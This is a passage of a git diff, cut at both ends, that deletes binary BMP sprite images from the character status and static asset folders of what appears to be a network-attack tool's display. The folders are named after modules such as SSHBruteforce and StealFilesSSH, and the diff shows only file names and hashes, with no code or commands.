files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp deleted file mode 100644 index 643b052..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp deleted file mode 100644 index 2742da4..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp deleted file mode 100644 index eaa2472..0000000 Binary files a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp deleted file mode 100644 index f8a5393..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce10.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce9.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp deleted file mode 100644 index 9db4d23..0000000 Binary files a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp deleted file mode 100644 index 606dc29..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce10.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp b/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp b/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp b/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp b/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp deleted file mode 100644 index ad53291..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp b/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp deleted file mode 100644 index ac1d6dc..0000000 Binary files a/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp b/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp b/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp deleted file mode 100644 index f7317bb..0000000 Binary files a/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp and /dev/null differ diff --git a/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp b/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/0.bmp b/resources/default_config/characters/MEDUSA/static/0.bmp deleted file mode 100644 index 8982328..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/0.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/100.bmp b/resources/default_config/characters/MEDUSA/static/100.bmp deleted file mode 100644 index 4229b5b..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/100.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/25.bmp b/resources/default_config/characters/MEDUSA/static/25.bmp deleted file mode 100644 index 9b51eec..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/25.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/50.bmp b/resources/default_config/characters/MEDUSA/static/50.bmp deleted file mode 100644 index dfffc4e..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/50.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/75.bmp b/resources/default_config/characters/MEDUSA/static/75.bmp deleted file mode 100644 index 86f4638..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/75.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/AI.bmp b/resources/default_config/characters/MEDUSA/static/AI.bmp deleted file mode 100644 index 819dac8..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/AI.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/attack.bmp b/resources/default_config/characters/MEDUSA/static/attack.bmp deleted file mode 100644 index 62ead1d..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/attack.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/attacks.bmp b/resources/default_config/characters/MEDUSA/static/attacks.bmp deleted file mode 100644 index 4a0a5be..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/attacks.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/auto.bmp b/resources/default_config/characters/MEDUSA/static/auto.bmp deleted file mode 100644 index 12b6f4f..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/auto.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/bjorn1.bmp b/resources/default_config/characters/MEDUSA/static/bjorn1.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/bjorn1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/bluetooth.bmp b/resources/default_config/characters/MEDUSA/static/bluetooth.bmp deleted file mode 100644 index 58e2079..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/bluetooth.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/charging.bmp b/resources/default_config/characters/MEDUSA/static/charging.bmp deleted file mode 100644 index 5836eaf..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/charging.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/charging1.bmp b/resources/default_config/characters/MEDUSA/static/charging1.bmp deleted file mode 100644 index 4482007..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/charging1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/connected.bmp b/resources/default_config/characters/MEDUSA/static/connected.bmp deleted file mode 100644 index 25c82fb..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/connected.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/cred.bmp b/resources/default_config/characters/MEDUSA/static/cred.bmp deleted file mode 100644 index 47ea10c..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/cred.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/data.bmp b/resources/default_config/characters/MEDUSA/static/data.bmp deleted file mode 100644 index f38e7d4..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/data.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/ethernet.bmp b/resources/default_config/characters/MEDUSA/static/ethernet.bmp deleted file mode 100644 index c5e20d8..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/ethernet.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/frise.bmp b/resources/default_config/characters/MEDUSA/static/frise.bmp deleted file mode 100644 index 1729551..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/frise.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/gold.bmp b/resources/default_config/characters/MEDUSA/static/gold.bmp deleted file mode 100644 index c729f59..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/gold.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/level.bmp b/resources/default_config/characters/MEDUSA/static/level.bmp deleted file mode 100644 index 42f2a68..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/level.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/manual.bmp b/resources/default_config/characters/MEDUSA/static/manual.bmp deleted file mode 100644 index 0c1954d..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/manual.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/money.bmp b/resources/default_config/characters/MEDUSA/static/money.bmp deleted file mode 100644 index cd3a033..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/money.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/networkkb.bmp b/resources/default_config/characters/MEDUSA/static/networkkb.bmp deleted file mode 100644 index 967d706..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/networkkb.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/port.bmp b/resources/default_config/characters/MEDUSA/static/port.bmp deleted file mode 100644 index 0917334..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/port.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/target.bmp b/resources/default_config/characters/MEDUSA/static/target.bmp deleted file mode 100644 index 9808765..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/target.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/usb.bmp b/resources/default_config/characters/MEDUSA/static/usb.bmp deleted file mode 100644 index 5a13b47..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/usb.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/vuln.bmp b/resources/default_config/characters/MEDUSA/static/vuln.bmp deleted file mode 100644 index b8547b5..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/vuln.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/wifi.bmp b/resources/default_config/characters/MEDUSA/static/wifi.bmp deleted file mode 100644 index eb95ff9..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/wifi.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/static/zombie.bmp b/resources/default_config/characters/MEDUSA/static/zombie.bmp deleted file mode 100644 index 4dfb112..0000000 Binary files a/resources/default_config/characters/MEDUSA/static/zombie.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp deleted file mode 100644 index e8f452c..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp deleted file mode 100644 index 26a80ce..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp deleted file mode 100644 index 45583cb..0000000 Binary files a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp and /dev/null differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp deleted file mode 100644 